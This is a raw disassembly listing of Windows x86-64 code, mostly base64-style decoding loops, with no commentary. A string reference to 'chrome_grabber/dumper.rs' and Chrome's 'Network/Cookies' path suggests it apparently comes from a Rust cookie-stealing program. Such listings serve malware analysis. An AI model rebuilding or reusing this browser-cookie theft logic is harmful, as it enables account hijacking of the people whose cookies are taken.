cmp rbx, 0xff
je 0x14003eabd
movzx esi, byte [r13 + r15 - 0x12]
mov rbp, r13
movzx r13d, byte [rsi + r12]
cmp r13, 0xff
je 0x14003eacb
movzx esi, byte [rbp + r15 - 0x11]
movzx r8d, byte [rsi + r12]
cmp r8, 0xff
je 0x14003ead6
shl r10, 0x34
shl rcx, 0x3a
or rcx, r10
shl r11, 0x2e
shl r9, 0x28
or r9, r11
or r9, rcx
shl rdi, 0x22
shl rbx, 0x1c
or rbx, rdi
shl r13d, 0x16
or r13, rbx
or r13, r9
shl r8d, 0x10
or r8, r13
mov rcx, rax
call fcn.14001dfc3
mov ecx, listen
mov rdx, r14
mov r8, qword [rsp + 0x128]
lea r9, [0x1402e4c10]
call fcn.14000302a
movzx esi, byte [rbp + r15 - 0x10]
movzx ecx, byte [rsi + r12]
cmp rcx, 0xff
mov r13, rbp
je 0x14003eae1
movzx esi, byte [r13 + r15 - 0xf]
movzx r10d, byte [rsi + r12]
cmp r10, 0xff
je 0x14003eaef
movzx esi, byte [r13 + r15 - 0xe]
movzx r11d, byte [rsi + r12]
cmp r11, 0xff
je 0x14003eafd
movzx esi, byte [r13 + r15 - 0xd]
movzx r9d, byte [rsi + r12]
cmp r9, 0xff
je 0x14003eb0b
movzx esi, byte [r13 + r15 - 0xc]
movzx edi, byte [rsi + r12]
cmp rdi, 0xff
je 0x14003eb19
movzx esi, byte [r13 + r15 - 0xb]
movzx ebx, byte [rsi + r12]
cmp rbx, 0xff
je 0x14003eb27
movzx esi, byte [r13 + r15 - 0xa]
mov rbp, r13
movzx r13d, byte [rsi + r12]
cmp r13, 0xff
je 0x14003eb32
movzx esi, byte [rbp + r15 - 9]
movzx r8d, byte [rsi + r12]
cmp r8, 0xff
je 0x14003eb3d
shl r10, 0x34
shl rcx, 0x3a
or rcx, r10
shl r11, 0x2e
shl r9, 0x28
or r9, r11
or r9, rcx
shl rdi, 0x22
shl rbx, 0x1c
or rbx, rdi
shl r13d, 0x16
or r13, rbx
or r13, r9
shl r8d, 0x10
or r8, r13
mov rcx, rax
call fcn.14001dfc3
mov ecx, reloc.WS2_32.dll_select
mov rdx, r14
mov r8, qword [rsp + 0x128]
lea r9, [0x1402e4c28]
call fcn.14000302a
movzx esi, byte [rbp + r15 - 8]
movzx ecx, byte [rsi + r12]
cmp rcx, 0xff
mov r13, rbp
je 0x14003eb6b
movzx esi, byte [r13 + r15 - 7]
movzx r10d, byte [rsi + r12]
cmp r10, 0xff
je 0x14003eb76
movzx esi, byte [r13 + r15 - 6]
movzx r11d, byte [rsi + r12]
cmp r11, 0xff
je 0x14003eb81
movzx esi, byte [r13 + r15 - 5]
movzx r9d, byte [rsi + r12]
cmp r9, 0xff
je 0x14003eb8c
movzx esi, byte [r13 + r15 - 4]
movzx edi, byte [rsi + r12]
cmp rdi, 0xff
je 0x14003eb97
movzx esi, byte [r13 + r15 - 3]
movzx ebx, byte [rsi + r12]
cmp rbx, 0xff
je 0x14003eba2
movzx esi, byte [r13 + r15 - 2]
mov r8, r13
movzx r13d, byte [rsi + r12]
cmp r13, 0xff
je 0x14003f529
movzx esi, byte [r8 + r15 - 1]
movzx r8d, byte [rsi + r12]
cmp r8, 0xff
je 0x14003f557
shl r10, 0x34
shl rcx, 0x3a
or rcx, r10
shl r11, 0x2e
shl r9, 0x28
or r9, r11
or r9, rcx
shl rdi, 0x22
shl rbx, 0x1c
or rbx, rdi
shl r13d, 0x16
or r13, rbx
or r13, r9
shl r8d, 0x10
or r8, r13
mov rcx, rax
call fcn.14001dfc3
mov rsi, qword [rsp + 0x78]
add rsi, 0x18
mov rdi, qword [rsp + 0x70]
add rdi, 0xfffffffffffffffc
add r15, 0x20
mov r13, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x250]
mov rcx, qword [rsp + 0x350]
lea r8, [0x1402e4bc8]
jmp 0x14003df18
xor esi, esi
cmp rbx, 8
jb 0x14003e5c2
add rbx, 0xfffffffffffffff8
add r15, 8
lea rbp, [0x1402e49f0]
mov r12, r15
mov qword [rsp + 0x250], rbx
lea r15, [r12 - 8]
cmp r15, rbx
jae 0x14003e5bd
test r12, r12
je 0x14003f797
cmp r12, qword [rsp + 0x60]
ja 0x14003f7ad
lea rdx, [rsi + 8]
lea rax, [0x1402e4c58]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x78], rsi
mov rcx, rsi
mov r8, qword [rsp + 0x58]
mov r9, qword [rsp + 0x50]
call fcn.14007858c
movzx esi, byte [r13 + r12 - 8]
movzx ecx, byte [rsi + rbp]
cmp rcx, 0xff
je 0x14003e8a3
movzx esi, byte [r13 + r12 - 7]
movzx r9d, byte [rsi + rbp]
cmp r9, 0xff
je 0x14003e91d
movzx esi, byte [r13 + r12 - 6]
movzx r11d, byte [rsi + rbp]
cmp r11, 0xff
je 0x14003e929
movzx esi, byte [r13 + r12 - 5]
movzx r10d, byte [rsi + rbp]
cmp r10, 0xff
je 0x14003e935
mov qword [rsp + 0x70], rdi
movzx esi, byte [r13 + r12 - 4]
movzx edi, byte [rsi + rbp]
cmp rdi, 0xff
je 0x14003e969
movzx esi, byte [r13 + r12 - 3]
movzx ebx, byte [rsi + rbp]
cmp rbx, 0xff
je 0x14003e96f
movzx esi, byte [r13 + r12 - 2]
mov r8, r13
movzx r13d, byte [rsi + rbp]
cmp r13, 0xff
je 0x14003e97d
movzx esi, byte [r8 + r12 - 1]
movzx r8d, byte [rsi + rbp]
cmp r8, 0xff
je 0x14003e98b
mov r14, rbp
shl rcx, 0x3a
shl r9, 0x34
or r9, rcx
shl r11, 0x2e
shl r10, 0x28
or r10, r11
or r10, r9
shl rdi, 0x22
shl rbx, 0x1c
or rbx, rdi
shl r13d, 0x16
or r13, rbx
or r13, r10
shl r8d, 0x10
or r8, r13
mov rcx, rax
call fcn.14001dfc3
mov rsi, qword [rsp + 0x78]
add rsi, 6
mov rdi, qword [rsp + 0x70]
dec rdi
add r12, 8
mov r13, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x250]
jmp 0x14003e43f
xor ebx, ebx
xor edi, edi
jmp 0x14003ebc3
mov rbp, qword [rsp + 0x60]
mov eax, 1
mov qword [rsp + 0x70], rdi
cmp rax, rdi
jae 0x14003e7ea
mov qword [rsp + 0x78], rax
mov rcx, r15
mov rdx, r13
mov r8, rbp
lea r9, [0x1402e4d20]
call fcn.14000302a
mov r14, rax
mov rbp, rdx
lea r13, [rsi + 6]
lea rax, [0x1402e4d38]
mov qword [rsp + 0x20], rax
mov rcx, rsi
mov rdx, r13
mov r8, qword [rsp + 0x58]
mov r9, qword [rsp + 0x50]
call fcn.14007858c
and qword [rsp + 0x270], 0
test rbp, rbp
je 0x14003f730
movzx esi, byte [r14]
lea r8, [0x1402e49f0]
movzx r12d, byte [rsi + r8]
cmp r12, 0xff
je 0x14003e93f
cmp rbp, 1
je 0x14003f740
movzx esi, byte [r14 + 1]
movzx ecx, byte [rsi + r8]
cmp rcx, 0xff
je 0x14003e889
cmp rbp, 2
jbe 0x14003f756
mov rbx, rdx
movzx esi, byte [r14 + 2]
movzx edx, byte [rsi + r8]
cmp rdx, 0xff
je 0x14003e891
cmp rbp, 3
je 0x14003f76c
movzx esi, byte [r14 + 3]
movzx r9d, byte [rsi + r8]
cmp r9, 0xff
je 0x14003e89a
cmp rbp, 4
jbe 0x14003f7c1
movzx esi, byte [r14 + 4]
movzx r10d, byte [rsi + r8]
cmp r10, 0xff
je 0x14003e917
cmp rbp, 5
je 0x14003f7d7
movzx esi, byte [r14 + 5]
movzx r11d, byte [rsi + r8]
cmp r11, 0xff
je 0x14003e923
mov qword [rsp + 0x128], r13
cmp rbp, 6
jbe 0x14003f7ed
movzx esi, byte [r14 + 6]
movzx edi, byte [rsi + r8]
cmp rdi, 0xff
je 0x14003e92f
cmp rbp, 7
je 0x14003f803
movzx esi, byte [r14 + 7]
movzx r8d, byte [rsi + r8]
cmp r8, 0xff
mov rbp, qword [rsp + 0x60]
je 0x14003e93b
mov r13, rax
shl r12, 0x3a
shl rcx, 0x34
or rcx, r12
shl rdx, 0x2e
or rdx, rcx
shl r9, 0x28
or r9, rdx
shl r10, 0x22
or r10, r9
shl r11, 0x1c
or r11, r10
shl edi, 0x16
or rdi, r11
shl r8d, 0x10
or r8, rdi
mov edx, 8
lea rsi, [rsp + 0x270]
mov rcx, rsi
call fcn.14001dfc3
lea rax, [0x1402e4db0]
mov qword [rsp + 0x20], rax
mov edx, 6
xor ecx, ecx
mov r8, r13
mov r9, rbx
call fcn.14007858c
lea rcx, [0x1402e4dc8]
mov qword [rsp + 0x20], rcx
mov r9d, 6
mov rcx, rax
mov r8, rsi
call fcn.14010faab
add r15, 8
mov rax, qword [rsp + 0x78]
inc rax
mov rsi, qword [rsp + 0x128]
mov r13, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
jmp 0x14003e5cc
mov rbx, rsi
lea r9, [0x1402e4c70]
mov rcx, r15
mov rdx, r13
mov r8, rbp
call fcn.14000302a
add rdx, rax
xor esi, esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
xor r10d, r10d
xor ebp, ebp
mov r12, qword [rsp + 0x38]
movabs r14, 0x8000000000000019
cmp rax, rdx
je 0x14003ea10
lea r11, [rcx + 1]
movzx edi, byte [rax]
inc rax
cmp rdi, 0x3d
jne 0x14003e854
test cl, 2
je 0x14003ea7a
test r10d, r10d
cmove rbp, rcx
inc r10d
mov rcx, r11
jmp 0x14003e823
test r10d, r10d
jg 0x14003f66d
lea rsi, [0x1402e49f0]
movzx esi, byte [rdi + rsi]
cmp rsi, 0xff
je 0x14003f67a
inc r9
imul ecx, r9d, 0x3a
shl rsi, cl
or r8, rsi
mov esi, edi
mov rcx, r11
jmp 0x14003e823
inc r15
jmp 0x14003e93f
add r15, 2
jmp 0x14003e93f
add r15, 3
jmp 0x14003e93f
add r12, 0xfffffffffffffff8
xor ebx, ebx
mov rbp, r12
jmp 0x14003ebad
lea r14, [rsp + 0x2e0]
mov rcx, r14
xor edx, edx
mov r8, rdi
call fcn.1402dc286
mov rax, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
jmp 0x14003d68b
lea r14, [rsp + 0x378]
mov rcx, r14
xor edx, edx
mov r8, rdi
call fcn.1402dc286
mov rax, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
jmp 0x14003d84f
lea r14, [rsp + 0x390]
mov rcx, r14
xor edx, edx
mov r8, rdi
call fcn.1402dc286
mov rax, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
jmp 0x14003da94
add r15, 4
jmp 0x14003e93f
or r15, 1
jmp 0x14003e973
add r15, 5
jmp 0x14003e93f
or r15, 2
jmp 0x14003e973
add r15, 6
jmp 0x14003e93f
or r15, 3
jmp 0x14003e973
add r15, 7
movabs r14, 0x8000000000000019
xor ebx, ebx
mov rbp, r15
xor edi, edi
mov r12, qword [rsp + 0x38]
mov r15, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
mov r13, qword [rsp + 0x68]
jmp 0x14003ebc8
or r15, 4
jmp 0x14003e973
or r15, 5
xor ebx, ebx
mov rbp, r15
jmp 0x14003ebad
or r15, 6
xor ebx, ebx
mov rbp, r15
jmp 0x14003f534
or r15, 7
xor ebx, ebx
mov rbp, r15
jmp 0x14003f562
add r15, 0xffffffffffffffe0
jmp 0x14003e41b
xor ebx, ebx
mov rbp, qword [rsp + 0x48]
jmp 0x14003ebad
mov rbp, qword [rsp + 0x48]
or rbp, 1
jmp 0x14003ebab
mov rbp, qword [rsp + 0x48]
or rbp, 2
jmp 0x14003ebab
mov rbp, qword [rsp + 0x48]
or rbp, 3
jmp 0x14003ebab
mov rbp, qword [rsp + 0x48]
or rbp, 4
jmp 0x14003ebab
mov rbp, qword [rsp + 0x48]
or rbp, 5
jmp 0x14003ebab
mov rax, qword [rsp + 0x48]
or rax, 6
jmp 0x14003eb46
mov rax, qword [rsp + 0x48]
or rax, 7
jmp 0x14003eb46
cmp r9, 9
jae 0x14003f927
mov eax, 0x1dd
bt eax, r9d
jae 0x14003f927
lea rax, [0x1402e8e10]
mov eax, dword [rax + r9*4]
mov rdx, r8
mov ecx, eax
shl rdx, cl
test rdx, rdx
mov r11, qword [rsp + 0x358]
je 0x14003f578
lea rbp, [r15 + r9]
dec rbp
mov dil, 2
xor ebx, ebx
jmp 0x14003ebbe
mov rbp, qword [rsp + 0x48]
or rbp, 8
jmp 0x14003ebab
mov rbp, qword [rsp + 0x48]
or rbp, 9
jmp 0x14003ebab
test r10d, r10d
cmovg rcx, rbp
add rcx, r15
mov sil, 0x3d
xor ebx, ebx
mov rbp, rcx
xor edi, edi
jmp 0x14003ebbe
mov rbp, qword [rsp + 0x48]
or rbp, 0xa
jmp 0x14003ebab
mov rbp, qword [rsp + 0x48]
or rbp, 0xb
jmp 0x14003ebab
mov rbp, qword [rsp + 0x48]
or rbp, 0xc
jmp 0x14003ebab
mov rbp, qword [rsp + 0x48]
or rbp, 0xd
jmp 0x14003ebab
mov rax, qword [rsp + 0x48]
or rax, 0xe
jmp 0x14003eb46
mov rax, qword [rsp + 0x48]
or rax, 0xf
jmp 0x14003eb46
mov rbp, qword [rsp + 0x48]
or rbp, 0x10
jmp 0x14003ebab
mov rbp, qword [rsp + 0x48]
or rbp, 0x11
jmp 0x14003ebab
mov rbp, qword [rsp + 0x48]
or rbp, 0x12
jmp 0x14003ebab
mov rbp, qword [rsp + 0x48]
or rbp, 0x13
jmp 0x14003ebab
mov rbp, qword [rsp + 0x48]
or rbp, 0x14
jmp 0x14003ebab
mov rbp, qword [rsp + 0x48]
or rbp, 0x15
jmp 0x14003ebab
mov rax, qword [rsp + 0x48]
or rax, 0x16
jmp 0x14003eb46
mov rax, qword [rsp + 0x48]
or rax, 0x17
xor ebx, ebx
xor edi, edi
mov r12, qword [rsp + 0x38]
movabs r14, 0x8000000000000019
mov r15, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
mov r13, rbp
mov rbp, rax
jmp 0x14003ebc8
mov rbp, qword [rsp + 0x48]
or rbp, 0x18
jmp 0x14003ebab
mov rbp, qword [rsp + 0x48]
or rbp, 0x19
jmp 0x14003ebab
mov rbp, qword [rsp + 0x48]
or rbp, 0x1a
jmp 0x14003ebab
mov rbp, qword [rsp + 0x48]
or rbp, 0x1b
jmp 0x14003ebab
mov rbp, qword [rsp + 0x48]
or rbp, 0x1c
jmp 0x14003ebab
mov rbp, qword [rsp + 0x48]
or rbp, 0x1d
xor ebx, ebx
xor edi, edi
mov r12, qword [rsp + 0x38]
movabs r14, 0x8000000000000019
mov r15, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
mov rdx, r13
call fcn.1400afd38
mov rcx, qword [rsp + 0x80]
mov r13, qword [rsp + 0x88]
test bl, bl
je 0x14003ec06
mov rbp, qword [rsp + 0x90]
movabs rax, 0x8000000000000000
cmp rcx, rax
jne 0x14003ec3f
mov esi, r13d
shr esi, 8
mov edi, r13d
jmp 0x14003ec0e
mov rdx, r13
call fcn.1400afd38
movabs rax, 0x8000000000000018
mov qword [r12], rax
movabs rax, 0x8000000000000000
mov qword [r12 + 8], rax
mov byte [r12 + 0x10], dil
mov byte [r12 + 0x11], sil
mov qword [r12 + 0x18], rbp
jmp 0x14003f444
mov qword [rsp + 0x70], rcx
lea r9, str.srcchrome_grabberdumper.rsUser_Data_Default_Network_Cookies_Default_Network_Cookies_cookies
mov r8d, 5
mov rcx, r13
mov rdx, rbp
call fcn.140039601
mov r8, rdx
lea rsi, [rsp + 0x80]
mov rcx, rsi
mov rdx, rax
call fcn.140040908
mov rax, qword [rsi]
movups xmm0, xmmword [rsi + 8]
movaps xmmword [rsp + 0x130], xmm0
mov rcx, qword [rsi + 0x18]
mov qword [rsp + 0x140], rcx
cmp rax, r14
jne 0x14003ee94
movaps xmm0, xmmword [rsp + 0x130]
movaps xmmword [rsp + 0x1a0], xmm0
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x1b0], rax
lea rsi, [rsp + 0x80]
mov rcx, rsi
mov qword [rsp + 0x30], r15
mov rdx, r15
call fcn.14003b6f5
mov rcx, qword [rsi]
mov r8, qword [rsi + 8]
mov r15, qword [rsi + 0x10]
mov rax, qword [rsi + 0x18]
cmp rcx, r14
jne 0x14003eec5
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x38], r12
imul rax, rax, 0x48
mov qword [rsp + 0x50], rax
add rax, r15
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x110], r8
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x118], rax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x120], rax
xor ebx, ebx
lea r14, [rsp + 0x2e0]
lea r12, [rsp + 0x130]
lea rbp, [rsp + 0x270]
mov r13, r15
mov qword [rsp + 0x58], r15
cmp qword [rsp + 0x50], rbx
je 0x14003eeea
lea rax, [r15 + rbx]
mov qword [rsp + 0x80], r15
mov qword [rsp + 0x88], r13
mov ecx, 9
lea rdi, [rsp + 0x90]
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
cmp qword [rsp + 0xd0], 0
je 0x14003ee15
cmp qword [rsp + 0xa0], 0
je 0x14003ee15
mov ecx, 9
mov rdi, r14
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rcx, r12
mov rdx, r14
call fcn.140044c02
mov rsi, rbp
mov rcx, rbp
mov rdx, r12
xor r8d, r8d
call fcn.140040982
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x270], rax
jne 0x14003ee2c
mov rcx, r12
mov rdx, r14
call fcn.140044c02
mov r8, qword [rsp + 0x1a8]
mov r9, qword [rsp + 0x1b0]
mov r15, r12
lea r12, [rsp + 0x1e0]
mov rcx, r12
mov rdx, r15
call fcn.140040982
mov rcx, rsi
call fcn.140008b48
jmp 0x14003ee42
lea rcx, [rsp + 0x90]
call fcn.14000b00d
lea r14, [rsp + 0x2e0]
jmp 0x14003ee8b
mov ecx, 9
mov r15, r12
lea r12, [rsp + 0x1e0]
mov rdi, r12
rep movsq qword [rdi], qword [rsi]
mov rcx, r14
call fcn.14000b00d
mov rcx, r15
mov rdx, r12
call fcn.14000c4ab
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x130], rax
je 0x14003ee7b
mov ecx, 9
mov rdi, r13
mov rsi, r15
rep movsq qword [rdi], qword [rsi]
add r13, 0x48
mov r12, r15
lea r14, [rsp + 0x2e0]
mov r15, qword [rsp + 0x58]
add rbx, 0x48
jmp 0x14003ed50
mov rcx, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0x140]
mov qword [r12 + 0x18], rdx
movaps xmm0, xmmword [rsp + 0x130]
movups xmmword [r12 + 8], xmm0
mov qword [r12], rax
mov qword [r12 + 0x20], rcx
jmp 0x14003f437
mov rdx, qword [rsp + 0xa0]
mov qword [r12], rcx
mov qword [r12 + 8], r8
mov qword [r12 + 0x10], r15
mov qword [r12 + 0x18], rax
mov qword [r12 + 0x20], rdx
jmp 0x14003f422
lea rsi, [rsp + 0x100]
mov rax, qword [rsp + 0x78]
mov qword [rsi + 8], rax
sub r13, r15
mov ecx, 0x48
mov rax, r13
xor edx, edx
div rcx
mov rdi, rax
mov rcx, rsi
call fcn.140016183
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x360], rax
mov qword [rsp + 0x368], r15
mov qword [rsp + 0x370], rdi
mov rcx, rsi
call fcn.14000878f
lea rsi, [rsp + 0x80]
mov rcx, rsi
mov rdx, qword [rsp + 0x30]
call fcn.14003c255
mov rcx, qword [rsi]
mov r9, qword [rsi + 8]
mov r15, qword [rsi + 0x10]
mov rax, qword [rsi + 0x18]
movabs rdx, 0x8000000000000019
cmp rcx, rdx
jne 0x14003f125
imul rax, rax, 0x70
mov qword [rsp + 0x50], rax
add rax, r15
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x60], r9
mov qword [rsp + 0x110], r9
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x118], rax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x120], rax
lea rdx, [rsp + 0x90]
xor r13d, r13d
lea r14, [rsp + 0x2e0]
lea r12, [rsp + 0x130]
lea rbp, [rsp + 0x270]
mov rbx, r15
mov qword [rsp + 0x58], r15
cmp qword [rsp + 0x50], r13
je 0x14003f14a
lea rax, [r15 + r13]
mov qword [rsp + 0x80], r15
mov qword [rsp + 0x88], rbx
mov ecx, recvfrom
mov rdi, rdx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
cmp qword [rsp + 0xd0], 0
je 0x14003f09b
cmp qword [rsp + 0xa0], 0
je 0x14003f09b
mov ecx, recvfrom
mov rdi, r14
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rcx, r12
mov rdx, r14
call fcn.140044c46
mov rsi, rbp
mov rcx, rbp
mov rdx, r12
xor r8d, r8d
call fcn.140040cc0
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x270], rax
jne 0x14003f0b5
mov rcx, r12
mov rdx, r14
call fcn.140044c46
mov r8, qword [rsp + 0x1a8]
mov r9, qword [rsp + 0x1b0]
mov r15, r12
lea r12, [rsp + 0x1e0]
mov rcx, r12
mov rdx, r15
call fcn.140040cc0
mov rcx, rsi
call fcn.140008b2b
jmp 0x14003f0cb
mov rcx, rdx
call fcn.140009d22
lea r14, [rsp + 0x2e0]
lea rdx, [rsp + 0x90]
jmp 0x14003f11c
mov ecx, recvfrom
mov r15, r12
lea r12, [rsp + 0x1e0]
mov rdi, r12
rep movsq qword [rdi], qword [rsi]
mov rcx, r14
call fcn.140009d22
mov rcx, r15
mov rdx, r12
call fcn.14000c47c
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x130], rax
je 0x14003f104
mov ecx, recvfrom
mov rdi, rbx
mov rsi, r15
rep movsq qword [rdi], qword [rsi]
add rbx, 0x70
lea rdx, [rsp + 0x90]
mov r12, r15
lea r14, [rsp + 0x2e0]
mov r15, qword [rsp + 0x58]
add r13, 0x70
jmp 0x14003efdb
mov rdx, qword [rsp + 0xa0]
mov r8, qword [rsp + 0x38]
mov qword [r8], rcx
mov qword [r8 + 8], r9
mov qword [r8 + 0x10], r15
mov qword [r8 + 0x18], rax
mov qword [r8 + 0x20], rdx
jmp 0x14003f410
lea rsi, [rsp + 0x100]
mov rax, qword [rsp + 0x78]
mov qword [rsi + 8], rax
sub rbx, r15
mov ecx, reloc.WS2_32.dll_WSASetLastError
mov rax, rbx
xor edx, edx
div rcx
mov rdi, rax
mov rcx, rsi
call fcn.14001622e
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x258], rax
mov qword [rsp + 0x260], r15
mov qword [rsp + 0x268], rdi
mov rcx, rsi
call fcn.140008744
lea rsi, [rsp + 0x80]
mov rcx, rsi
mov rdx, qword [rsp + 0x30]
call fcn.14003bc8b
mov rax, qword [rsi]
mov r8, qword [rsi + 8]
mov r13, qword [rsi + 0x10]
mov rsi, qword [rsi + 0x18]
movabs rcx, 0x8000000000000019
cmp rax, rcx
jne 0x14003f3e3
shl rsi, 6
lea rax, [rsi + r13]
mov qword [rsp + 0x100], r13
mov qword [rsp + 0x58], r8
mov qword [rsp + 0x110], r8
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x118], rax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x120], rax
xor ebx, ebx
lea r12, [rsp + 0x130]
lea r14, [rsp + 0x2e0]
lea rbp, [rsp + 0x270]
lea rdi, [rsp + 0x1e0]
mov r15, r13
lea rcx, [rsp + 0x90]
mov qword [rsp + 0x50], r13
cmp rsi, rbx
je 0x14003f459
lea rax, [rbx + r13]
mov qword [rsp + 0x80], r13
mov qword [rsp + 0x88], r15
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
cmp qword [rsp + 0xa0], 0
je 0x14003f317
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x310], xmm3
movaps xmmword [rsp + 0x300], xmm2
movaps xmmword [rsp + 0x2f0], xmm1
movaps xmmword [rsp + 0x2e0], xmm0
mov rcx, r12
mov rdx, r14
call fcn.140044ca1
mov r13, rbp
mov rcx, rbp
mov rdx, r12
xor r8d, r8d
call fcn.140040b10
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x270], rax
jne 0x14003f329
mov rcx, r12
mov rdx, r14
call fcn.140044ca1
mov r8, qword [rsp + 0x1a8]
mov r9, qword [rsp + 0x1b0]
mov rcx, rdi
mov rdx, r12
call fcn.140040b10
mov rcx, r13
call fcn.140008b65
jmp 0x14003f369
call fcn.14000a91e
lea rcx, [rsp + 0x90]
jmp 0x14003f3da
movups xmm0, xmmword [rsp + 0x270]
movups xmm1, xmmword [rsp + 0x280]
movups xmm2, xmmword [rsp + 0x290]
movups xmm3, xmmword [rsp + 0x2a0]
movaps xmmword [rsp + 0x210], xmm3
movaps xmmword [rsp + 0x200], xmm2
movaps xmmword [rsp + 0x1f0], xmm1
movaps xmmword [rsp + 0x1e0], xmm0
mov rcx, r14
call fcn.14000a91e
mov r13, r12
mov rcx, r12
mov rdx, rdi
call fcn.14000c424
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x130], rax
je 0x14003f3ca
movups xmm0, xmmword [rsp + 0x130]
movups xmm1, xmmword [rsp + 0x140]
movups xmm2, xmmword [rsp + 0x150]
movups xmm3, xmmword [rsp + 0x160]
movups xmmword [r15 + 0x30], xmm3
movups xmmword [r15 + 0x20], xmm2
movups xmmword [r15 + 0x10], xmm1
movups xmmword [r15], xmm0
add r15, 0x40
lea rcx, [rsp + 0x90]
mov r12, r13
mov r13, qword [rsp + 0x50]
add rbx, 0x40
jmp 0x14003f23e
mov rcx, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0x38]
mov qword [rdx], rax
mov qword [rdx + 8], r8
mov qword [rdx + 0x10], r13
mov qword [rdx + 0x18], rsi
mov qword [rdx + 0x20], rcx
lea rcx, [rsp + 0x258]
call fcn.14000b88f
mov r13, qword [rsp + 0x68]
lea rcx, [rsp + 0x360]
call fcn.14000b8fa
mov rcx, qword [rsp + 0x1a0]
mov rdx, qword [rsp + 0x1a8]
call fcn.1400afd38
mov rcx, qword [rsp + 0x70]
mov rdx, r13
lea rdi, [rsp + 0x100]
mov rax, qword [rsp + 0x60]
mov qword [rdi + 8], rax
sub r15, r13
shr r15, 6
mov rcx, rdi
call fcn.1400161dd
lea rsi, [rsp + 0x1c0]
mov rax, qword [rsp + 0x58]
mov qword [rsi], rax
mov qword [rsi + 8], r13
mov qword [rsi + 0x10], r15
mov rcx, rdi
call fcn.140008702
mov r15, qword [rsp + 0x30]
lea rcx, [r15 + 0x18]
lea rdi, [rsp + 0x360]
mov rdx, rdi
call fcn.140015f79
lea rcx, [r15 + 0x30]
lea rbx, [rsp + 0x258]
mov rdx, rbx
call fcn.140015e76
lea rcx, [r15 + 0x48]
mov rdx, rsi
call fcn.14001607c
mov rax, qword [r15 + 0x28]
add qword [0x14041a860], rax
mov rax, qword [r15 + 0x58]
add qword [0x14041a878], rax
mov rcx, rsi
call fcn.14000ba5b
mov rcx, rbx
call fcn.14000b88f
mov rcx, rdi
call fcn.14000b8fa
mov rcx, qword [rsp + 0x1a0]
mov rdx, qword [rsp + 0x1a8]
call fcn.1400afd38
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
call fcn.1400afd38
jmp 0x14003d5d7
mov rbp, qword [rsp + 0x48]
or rbp, 0x1e
xor ebx, ebx
xor edi, edi
mov r12, qword [rsp + 0x38]
movabs r14, 0x8000000000000019
mov r15, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
mov r13, r8
jmp 0x14003ebc8
mov rbp, qword [rsp + 0x48]
or rbp, 0x1f
xor ebx, ebx
xor edi, edi
mov r12, qword [rsp + 0x38]
movabs r14, 0x8000000000000019
jmp 0x14003e955
xor edx, edx
mov r9d, 0x38
mov r15, qword [rsp + 0x30]
mov rsi, rbx
cmp edx, eax
jae 0x14003f5b8
cmp rsi, qword [rsp + 0x50]
jae 0x14003f913
mov ecx, r9d
and cl, 0x38
mov r10, r8
shr r10, cl
mov rcx, qword [rsp + 0x58]
mov byte [rcx + rsi], r10b
inc rsi
add edx, 8
add r9d, 0xfffffff8
jmp 0x14003f588
add rsi, r11
mov rax, qword [rsp + 0x90]
cmp rax, rsi
cmovb rsi, rax
mov qword [rsp + 0x90], rsi
mov dil, 3
mov bl, 1
jmp 0x14003cfd8
mov rcx, qword [rsp + 0x1e8]
jmp 0x14003cd33
movzx eax, al
cmp eax, 0x7d
mov r12, qword [rsp + 0x38]
mov r15, qword [rsp + 0x30]
lea rdx, [rsp + 0x1e0]
jne 0x14003f651
mov qword [rdx], reloc.WS2_32.dll_select
jmp 0x14003f658
lea rdx, [rsp + 0x1e0]
mov qword [rdx], 2
lea rcx, [rsp + 0x80]
call fcn.1402ddbec
jmp 0x14003f638
lea rdx, [0x1402e7e20]
xor ecx, ecx
call fcn.1402d994a
mov rsi, rax
jmp 0x14003cc87
lea rdx, [rsp + 0x1e0]
mov qword [rdx], 3
jmp 0x14003f6cf
mov qword [rdx], reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x80]
call fcn.1402ddbec
mov rcx, rax
jmp 0x14003cd3d
add rbp, r15
mov sil, 0x3d
xor ebx, ebx
jmp 0x14003ea8c
